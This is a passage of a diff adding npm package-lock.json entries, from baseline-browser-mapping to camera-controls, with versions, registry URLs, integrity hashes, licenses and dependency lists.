9271+ "bin": {
9272+ "baseline-browser-mapping": "dist/cli.js"
9273+ }
9274+ },
9275+ "node_modules/basic-auth": {
9276+ "version": "2.0.1",
9277+ "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-2.0.1.tgz",
9278+ "integrity": "sha512-NF+epuEdnUYVlGuhaxbbq+dvJttwLnGY+YixlXlME5KpQ5W3CnXA5cVTneY3SPbPDRkcjMbifrwmFYcClgOZeg==",
9279+ "license": "MIT",
9280+ "dependencies": {
9281+ "safe-buffer": "5.1.2"
9282+ },
9283+ "engines": {
9284+ "node": ">= 0.8"
9285+ }
9286+ },
9287+ "node_modules/basic-auth/node_modules/safe-buffer": {
9288+ "version": "5.1.2",
9289+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
9290+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
9291+ "license": "MIT"
9292+ },
9293+ "node_modules/batch": {
9294+ "version": "0.6.1",
9295+ "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz",
9296+ "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==",
9297+ "license": "MIT"
9298+ },
9299+ "node_modules/bcrypt-pbkdf": {
9300+ "version": "1.0.2",
9301+ "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
9302+ "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==",
9303+ "license": "BSD-3-Clause",
9304+ "dependencies": {
9305+ "tweetnacl": "^0.14.3"
9306+ }
9307+ },
9308+ "node_modules/bcryptjs": {
9309+ "version": "2.4.3",
9310+ "resolved": "https://registry.npmjs.org/bcryptjs/-/bcryptjs-2.4.3.tgz",
9311+ "integrity": "sha512-V/Hy/X9Vt7f3BbPJEi8BdVFMByHi+jNXrYkW3huaybV/kQ0KJg0Y6PkEMbn+zeT+i+SiKZ/HMqJGIIt4LZDqNQ==",
9312+ "license": "MIT"
9313+ },
9314+ "node_modules/bech32": {
9315+ "version": "1.1.4",
9316+ "resolved": "https://registry.npmjs.org/bech32/-/bech32-1.1.4.tgz",
9317+ "integrity": "sha512-s0IrSOzLlbvX7yp4WBfPITzpAU8sqQcpsmwXDiKwrG4r491vwCO/XpejasRNl0piBMe/DvP4Tz0mIS/X1DPJBQ==",
9318+ "license": "MIT"
9319+ },
9320+ "node_modules/bfj": {
9321+ "version": "7.1.0",
9322+ "resolved": "https://registry.npmjs.org/bfj/-/bfj-7.1.0.tgz",
9323+ "integrity": "sha512-I6MMLkn+anzNdCUp9hMRyui1HaNEUCco50lxbvNS4+EyXg8lN3nJ48PjPWtbH8UVS9CuMoaKE9U2V3l29DaRQw==",
9324+ "license": "MIT",
9325+ "dependencies": {
9326+ "bluebird": "^3.7.2",
9327+ "check-types": "^11.2.3",
9328+ "hoopy": "^0.1.4",
9329+ "jsonpath": "^1.1.1",
9330+ "tryer": "^1.0.1"
9331+ },
9332+ "engines": {
9333+ "node": ">= 8.0.0"
9334+ }
9335+ },
9336+ "node_modules/bidi-js": {
9337+ "version": "1.0.3",
9338+ "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz",
9339+ "integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==",
9340+ "license": "MIT",
9341+ "dependencies": {
9342+ "require-from-string": "^2.0.2"
9343+ }
9344+ },
9345+ "node_modules/big.js": {
9346+ "version": "5.2.2",
9347+ "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
9348+ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==",
9349+ "license": "MIT",
9350+ "engines": {
9351+ "node": "*"
9352+ }
9353+ },
9354+ "node_modules/binary-extensions": {
9355+ "version": "2.3.0",
9356+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz",
9357+ "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==",
9358+ "license": "MIT",
9359+ "engines": {
9360+ "node": ">=8"
9361+ },
9362+ "funding": {
9363+ "url": "https://github.com/sponsors/sindresorhus"
9364+ }
9365+ },
9366+ "node_modules/blakejs": {
9367+ "version": "1.2.1",
9368+ "resolved": "https://registry.npmjs.org/blakejs/-/blakejs-1.2.1.tgz",
9369+ "integrity": "sha512-QXUSXI3QVc/gJME0dBpXrag1kbzOqCjCX8/b54ntNyW6sjtoqxqRk3LTmXzaJoh71zMsDCjM+47jS7XiwN/+fQ==",
9370+ "license": "MIT"
9371+ },
9372+ "node_modules/bluebird": {
9373+ "version": "3.7.2",
9374+ "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
9375+ "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==",
9376+ "license": "MIT"
9377+ },
9378+ "node_modules/bn.js": {
9379+ "version": "4.11.8",
9380+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz",
9381+ "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==",
9382+ "license": "MIT"
9383+ },
9384+ "node_modules/body-parser": {
9385+ "version": "1.20.4",
9386+ "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.4.tgz",
9387+ "integrity": "sha512-ZTgYYLMOXY9qKU/57FAo8F+HA2dGX7bqGc71txDRC1rS4frdFI5R7NhluHxH6M0YItAP0sHB4uqAOcYKxO6uGA==",
9388+ "license": "MIT",
9389+ "dependencies": {
9390+ "bytes": "~3.1.2",
9391+ "content-type": "~1.0.5",
9392+ "debug": "2.6.9",
9393+ "depd": "2.0.0",
9394+ "destroy": "~1.2.0",
9395+ "http-errors": "~2.0.1",
9396+ "iconv-lite": "~0.4.24",
9397+ "on-finished": "~2.4.1",
9398+ "qs": "~6.14.0",
9399+ "raw-body": "~2.5.3",
9400+ "type-is": "~1.6.18",
9401+ "unpipe": "~1.0.0"
9402+ },
9403+ "engines": {
9404+ "node": ">= 0.8",
9405+ "npm": "1.2.8000 || >= 1.4.16"
9406+ }
9407+ },
9408+ "node_modules/bonjour-service": {
9409+ "version": "1.3.0",
9410+ "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.3.0.tgz",
9411+ "integrity": "sha512-3YuAUiSkWykd+2Azjgyxei8OWf8thdn8AITIog2M4UICzoqfjlqr64WIjEXZllf/W6vK1goqleSR6brGomxQqA==",
9412+ "license": "MIT",
9413+ "dependencies": {
9414+ "fast-deep-equal": "^3.1.3",
9415+ "multicast-dns": "^7.2.5"
9416+ }
9417+ },
9418+ "node_modules/boolbase": {
9419+ "version": "1.0.0",
9420+ "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
9421+ "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==",
9422+ "license": "ISC"
9423+ },
9424+ "node_modules/bootstrap": {
9425+ "version": "5.3.8",
9426+ "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-5.3.8.tgz",
9427+ "integrity": "sha512-HP1SZDqaLDPwsNiqRqi5NcP0SSXciX2s9E+RyqJIIqGo+vJeN5AJVM98CXmW/Wux0nQ5L7jeWUdplCEf0Ee+tg==",
9428+ "funding": [
9429+ {
9430+ "type": "github",
9431+ "url": "https://github.com/sponsors/twbs"
9432+ },
9433+ {
9434+ "type": "opencollective",
9435+ "url": "https://opencollective.com/bootstrap"
9436+ }
9437+ ],
9438+ "license": "MIT",
9439+ "peerDependencies": {
9440+ "@popperjs/core": "^2.11.8"
9441+ }
9442+ },
9443+ "node_modules/bootstrap-icons": {
9444+ "version": "1.13.1",
9445+ "resolved": "https://registry.npmjs.org/bootstrap-icons/-/bootstrap-icons-1.13.1.tgz",
9446+ "integrity": "sha512-ijombt4v6bv5CLeXvRWKy7CuM3TRTuPEuGaGKvTV5cz65rQSY8RQ2JcHt6b90cBBAC7s8fsf2EkQDldzCoXUjw==",
9447+ "funding": [
9448+ {
9449+ "type": "github",
9450+ "url": "https://github.com/sponsors/twbs"
9451+ },
9452+ {
9453+ "type": "opencollective",
9454+ "url": "https://opencollective.com/bootstrap"
9455+ }
9456+ ],
9457+ "license": "MIT"
9458+ },
9459+ "node_modules/brace-expansion": {
9460+ "version": "1.1.12",
9461+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
9462+ "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",
9463+ "license": "MIT",
9464+ "dependencies": {
9465+ "balanced-match": "^1.0.0",
9466+ "concat-map": "0.0.1"
9467+ }
9468+ },
9469+ "node_modules/braces": {
9470+ "version": "3.0.3",
9471+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
9472+ "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
9473+ "license": "MIT",
9474+ "dependencies": {
9475+ "fill-range": "^7.1.1"
9476+ },
9477+ "engines": {
9478+ "node": ">=8"
9479+ }
9480+ },
9481+ "node_modules/brorand": {
9482+ "version": "1.1.0",
9483+ "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz",
9484+ "integrity": "sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w==",
9485+ "license": "MIT"
9486+ },
9487+ "node_modules/browser-process-hrtime": {
9488+ "version": "1.0.0",
9489+ "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz",
9490+ "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==",
9491+ "license": "BSD-2-Clause"
9492+ },
9493+ "node_modules/browser-resolve": {
9494+ "version": "2.0.0",
9495+ "resolved": "https://registry.npmjs.org/browser-resolve/-/browser-resolve-2.0.0.tgz",
9496+ "integrity": "sha512-7sWsQlYL2rGLy2IWm8WL8DCTJvYLc/qlOnsakDac87SOoCd16WLsaAMdCiAqsTNHIe+SXfaqyxyo6THoWqs8WQ==",
9497+ "license": "MIT",
9498+ "dependencies": {
9499+ "resolve": "^1.17.0"
9500+ }
9501+ },
9502+ "node_modules/browserify-aes": {
9503+ "version": "1.2.0",
9504+ "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz",
9505+ "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==",
9506+ "license": "MIT",
9507+ "dependencies": {
9508+ "buffer-xor": "^1.0.3",
9509+ "cipher-base": "^1.0.0",
9510+ "create-hash": "^1.1.0",
9511+ "evp_bytestokey": "^1.0.3",
9512+ "inherits": "^2.0.1",
9513+ "safe-buffer": "^5.0.1"
9514+ }
9515+ },
9516+ "node_modules/browserify-cipher": {
9517+ "version": "1.0.1",
9518+ "resolved": "https://registry.npmjs.org/browserify-cipher/-/browserify-cipher-1.0.1.tgz",
9519+ "integrity": "sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==",
9520+ "license": "MIT",
9521+ "dependencies": {
9522+ "browserify-aes": "^1.0.4",
9523+ "browserify-des": "^1.0.0",
9524+ "evp_bytestokey": "^1.0.0"
9525+ }
9526+ },
9527+ "node_modules/browserify-des": {
9528+ "version": "1.0.2",
9529+ "resolved": "https://registry.npmjs.org/browserify-des/-/browserify-des-1.0.2.tgz",
9530+ "integrity": "sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==",
9531+ "license": "MIT",
9532+ "dependencies": {
9533+ "cipher-base": "^1.0.1",
9534+ "des.js": "^1.0.0",
9535+ "inherits": "^2.0.1",
9536+ "safe-buffer": "^5.1.2"
9537+ }
9538+ },
9539+ "node_modules/browserify-rsa": {
9540+ "version": "4.1.1",
9541+ "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.1.1.tgz",
9542+ "integrity": "sha512-YBjSAiTqM04ZVei6sXighu679a3SqWORA3qZTEqZImnlkDIFtKc6pNutpjyZ8RJTjQtuYfeetkxM11GwoYXMIQ==",
9543+ "license": "MIT",
9544+ "dependencies": {
9545+ "bn.js": "^5.2.1",
9546+ "randombytes": "^2.1.0",
9547+ "safe-buffer": "^5.2.1"
9548+ },
9549+ "engines": {
9550+ "node": ">= 0.10"
9551+ }
9552+ },
9553+ "node_modules/browserify-rsa/node_modules/bn.js": {
9554+ "version": "5.2.2",
9555+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.2.tgz",
9556+ "integrity": "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw==",
9557+ "license": "MIT"
9558+ },
9559+ "node_modules/browserify-sign": {
9560+ "version": "4.2.5",
9561+ "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.5.tgz",
9562+ "integrity": "sha512-C2AUdAJg6rlM2W5QMp2Q4KGQMVBwR1lIimTsUnutJ8bMpW5B52pGpR2gEnNBNwijumDo5FojQ0L9JrXA8m4YEw==",
9563+ "license": "ISC",
9564+ "dependencies": {
9565+ "bn.js": "^5.2.2",
9566+ "browserify-rsa": "^4.1.1",
9567+ "create-hash": "^1.2.0",
9568+ "create-hmac": "^1.1.7",
9569+ "elliptic": "^6.6.1",
9570+ "inherits": "^2.0.4",
9571+ "parse-asn1": "^5.1.9",
9572+ "readable-stream": "^2.3.8",
9573+ "safe-buffer": "^5.2.1"
9574+ },
9575+ "engines": {
9576+ "node": ">= 0.10"
9577+ }
9578+ },
9579+ "node_modules/browserify-sign/node_modules/bn.js": {
9580+ "version": "5.2.2",
9581+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.2.tgz",
9582+ "integrity": "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw==",
9583+ "license": "MIT"
9584+ },
9585+ "node_modules/browserify-zlib": {
9586+ "version": "0.2.0",
9587+ "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz",
9588+ "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==",
9589+ "license": "MIT",
9590+ "dependencies": {
9591+ "pako": "~1.0.5"
9592+ }
9593+ },
9594+ "node_modules/browserslist": {
9595+ "version": "4.28.1",
9596+ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz",
9597+ "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==",
9598+ "funding": [
9599+ {
9600+ "type": "opencollective",
9601+ "url": "https://opencollective.com/browserslist"
9602+ },
9603+ {
9604+ "type": "tidelift",
9605+ "url": "https://tidelift.com/funding/github/npm/browserslist"
9606+ },
9607+ {
9608+ "type": "github",
9609+ "url": "https://github.com/sponsors/ai"
9610+ }
9611+ ],
9612+ "license": "MIT",
9613+ "dependencies": {
9614+ "baseline-browser-mapping": "^2.9.0",
9615+ "caniuse-lite": "^1.0.30001759",
9616+ "electron-to-chromium": "^1.5.263",
9617+ "node-releases": "^2.0.27",
9618+ "update-browserslist-db": "^1.2.0"
9619+ },
9620+ "bin": {
9621+ "browserslist": "cli.js"
9622+ },
9623+ "engines": {
9624+ "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
9625+ }
9626+ },
9627+ "node_modules/bs58": {
9628+ "version": "4.0.1",
9629+ "resolved": "https://registry.npmjs.org/bs58/-/bs58-4.0.1.tgz",
9630+ "integrity": "sha512-Ok3Wdf5vOIlBrgCvTq96gBkJw+JUEzdBgyaza5HLtPm7yTHkjRy8+JzNyHF7BHa0bNWOQIp3m5YF0nnFcOIKLw==",
9631+ "license": "MIT",
9632+ "dependencies": {
9633+ "base-x": "^3.0.2"
9634+ }
9635+ },
9636+ "node_modules/bs58check": {
9637+ "version": "2.1.2",
9638+ "resolved": "https://registry.npmjs.org/bs58check/-/bs58check-2.1.2.tgz",
9639+ "integrity": "sha512-0TS1jicxdU09dwJMNZtVAfzPi6Q6QeN0pM1Fkzrjn+XYHvzMKPU3pHVpva+769iNVSfIYWf7LJ6WR+BuuMf8cA==",
9640+ "license": "MIT",
9641+ "dependencies": {
9642+ "bs58": "^4.0.0",
9643+ "create-hash": "^1.1.0",
9644+ "safe-buffer": "^5.1.2"
9645+ }
9646+ },
9647+ "node_modules/bser": {
9648+ "version": "2.1.1",
9649+ "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",
9650+ "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==",
9651+ "license": "Apache-2.0",
9652+ "dependencies": {
9653+ "node-int64": "^0.4.0"
9654+ }
9655+ },
9656+ "node_modules/bson": {
9657+ "version": "6.10.4",
9658+ "resolved": "https://registry.npmjs.org/bson/-/bson-6.10.4.tgz",
9659+ "integrity": "sha512-WIsKqkSC0ABoBJuT1LEX+2HEvNmNKKgnTAyd0fL8qzK4SH2i9NXg+t08YtdZp/V9IZ33cxe3iV4yM0qg8lMQng==",
9660+ "license": "Apache-2.0",
9661+ "engines": {
9662+ "node": ">=16.20.1"
9663+ }
9664+ },
9665+ "node_modules/btoa": {
9666+ "version": "1.2.1",
9667+ "resolved": "https://registry.npmjs.org/btoa/-/btoa-1.2.1.tgz",
9668+ "integrity": "sha512-SB4/MIGlsiVkMcHmT+pSmIPoNDoHg+7cMzmt3Uxt628MTz2487DKSqK/fuhFBrkuqrYv5UCEnACpF4dTFNKc/g==",
9669+ "license": "(MIT OR Apache-2.0)",
9670+ "bin": {
9671+ "btoa": "bin/btoa.js"
9672+ },
9673+ "engines": {
9674+ "node": ">= 0.4.0"
9675+ }
9676+ },
9677+ "node_modules/buffer": {
9678+ "version": "6.0.3",
9679+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
9680+ "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
9681+ "funding": [
9682+ {
9683+ "type": "github",
9684+ "url": "https://github.com/sponsors/feross"
9685+ },
9686+ {
9687+ "type": "patreon",
9688+ "url": "https://www.patreon.com/feross"
9689+ },
9690+ {
9691+ "type": "consulting",
9692+ "url": "https://feross.org/support"
9693+ }
9694+ ],
9695+ "license": "MIT",
9696+ "dependencies": {
9697+ "base64-js": "^1.3.1",
9698+ "ieee754": "^1.2.1"
9699+ }
9700+ },
9701+ "node_modules/buffer-alloc": {
9702+ "version": "1.2.0",
9703+ "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz",
9704+ "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==",
9705+ "license": "MIT",
9706+ "dependencies": {
9707+ "buffer-alloc-unsafe": "^1.1.0",
9708+ "buffer-fill": "^1.0.0"
9709+ }
9710+ },
9711+ "node_modules/buffer-alloc-unsafe": {
9712+ "version": "1.1.0",
9713+ "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz",
9714+ "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==",
9715+ "license": "MIT"
9716+ },
9717+ "node_modules/buffer-equal-constant-time": {
9718+ "version": "1.0.1",
9719+ "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz",
9720+ "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==",
9721+ "license": "BSD-3-Clause"
9722+ },
9723+ "node_modules/buffer-fill": {
9724+ "version": "1.0.0",
9725+ "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz",
9726+ "integrity": "sha512-T7zexNBwiiaCOGDg9xNX9PBmjrubblRkENuptryuI64URkXDFum9il/JGL8Lm8wYfAXpredVXXZz7eMHilimiQ==",
9727+ "license": "MIT"
9728+ },
9729+ "node_modules/buffer-from": {
9730+ "version": "1.1.2",
9731+ "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
9732+ "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
9733+ "license": "MIT"
9734+ },
9735+ "node_modules/buffer-xor": {
9736+ "version": "1.0.3",
9737+ "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz",
9738+ "integrity": "sha512-571s0T7nZWK6vB67HI5dyUF7wXiNcfaPPPTl6zYCNApANjIvYJTg7hlud/+cJpdAhS7dVzqMLmfhfHR3rAcOjQ==",
9739+ "license": "MIT"
9740+ },
9741+ "node_modules/builtin-modules": {
9742+ "version": "3.3.0",
9743+ "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz",
9744+ "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==",
9745+ "license": "MIT",
9746+ "engines": {
9747+ "node": ">=6"
9748+ },
9749+ "funding": {
9750+ "url": "https://github.com/sponsors/sindresorhus"
9751+ }
9752+ },
9753+ "node_modules/builtin-status-codes": {
9754+ "version": "3.0.0",
9755+ "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz",
9756+ "integrity": "sha512-HpGFw18DgFWlncDfjTa2rcQ4W88O1mC8e8yZ2AvQY5KDaktSTwo+KRf6nHK6FRI5FyRyb/5T6+TSxfP7QyGsmQ==",
9757+ "license": "MIT"
9758+ },
9759+ "node_modules/busboy": {
9760+ "version": "1.6.0",
9761+ "resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz",
9762+ "integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==",
9763+ "dependencies": {
9764+ "streamsearch": "^1.1.0"
9765+ },
9766+ "engines": {
9767+ "node": ">=10.16.0"
9768+ }
9769+ },
9770+ "node_modules/bytes": {
9771+ "version": "3.1.2",
9772+ "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
9773+ "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
9774+ "license": "MIT",
9775+ "engines": {
9776+ "node": ">= 0.8"
9777+ }
9778+ },
9779+ "node_modules/call-bind": {
9780+ "version": "1.0.8",
9781+ "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz",
9782+ "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==",
9783+ "license": "MIT",
9784+ "dependencies": {
9785+ "call-bind-apply-helpers": "^1.0.0",
9786+ "es-define-property": "^1.0.0",
9787+ "get-intrinsic": "^1.2.4",
9788+ "set-function-length": "^1.2.2"
9789+ },
9790+ "engines": {
9791+ "node": ">= 0.4"
9792+ },
9793+ "funding": {
9794+ "url": "https://github.com/sponsors/ljharb"
9795+ }
9796+ },
9797+ "node_modules/call-bind-apply-helpers": {
9798+ "version": "1.0.2",
9799+ "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
9800+ "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
9801+ "license": "MIT",
9802+ "dependencies": {
9803+ "es-errors": "^1.3.0",
9804+ "function-bind": "^1.1.2"
9805+ },
9806+ "engines": {
9807+ "node": ">= 0.4"
9808+ }
9809+ },
9810+ "node_modules/call-bound": {
9811+ "version": "1.0.4",
9812+ "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
9813+ "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
9814+ "license": "MIT",
9815+ "dependencies": {
9816+ "call-bind-apply-helpers": "^1.0.2",
9817+ "get-intrinsic": "^1.3.0"
9818+ },
9819+ "engines": {
9820+ "node": ">= 0.4"
9821+ },
9822+ "funding": {
9823+ "url": "https://github.com/sponsors/ljharb"
9824+ }
9825+ },
9826+ "node_modules/callsites": {
9827+ "version": "3.1.0",
9828+ "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
9829+ "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
9830+ "license": "MIT",
9831+ "engines": {
9832+ "node": ">=6"
9833+ }
9834+ },
9835+ "node_modules/camel-case": {
9836+ "version": "4.1.2",
9837+ "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
9838+ "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
9839+ "license": "MIT",
9840+ "dependencies": {
9841+ "pascal-case": "^3.1.2",
9842+ "tslib": "^2.0.3"
9843+ }
9844+ },
9845+ "node_modules/camel-case/node_modules/tslib": {
9846+ "version": "2.8.1",
9847+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
9848+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
9849+ "license": "0BSD"
9850+ },
9851+ "node_modules/camelcase": {
9852+ "version": "6.3.0",
9853+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
9854+ "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
9855+ "license": "MIT",
9856+ "engines": {
9857+ "node": ">=10"
9858+ },
9859+ "funding": {
9860+ "url": "https://github.com/sponsors/sindresorhus"
9861+ }
9862+ },
9863+ "node_modules/camelcase-css": {
9864+ "version": "2.0.1",
9865+ "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
9866+ "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
9867+ "license": "MIT",
9868+ "engines": {
9869+ "node": ">= 6"
9870+ }
9871+ },
9872+ "node_modules/camera-controls": {
9873+ "version": "2.10.1",
9874+ "resolved": "https://registry.npmjs.org/camera-controls/-/camera-controls-2.10.1.tgz",
9875+ "integrity": "sha512-KnaKdcvkBJ1Irbrzl8XD6WtZltkRjp869Jx8c0ujs9K+9WD+1D7ryBsCiVqJYUqt6i/HR5FxT7RLASieUD+Q5w==",
9876+ "license": "MIT",
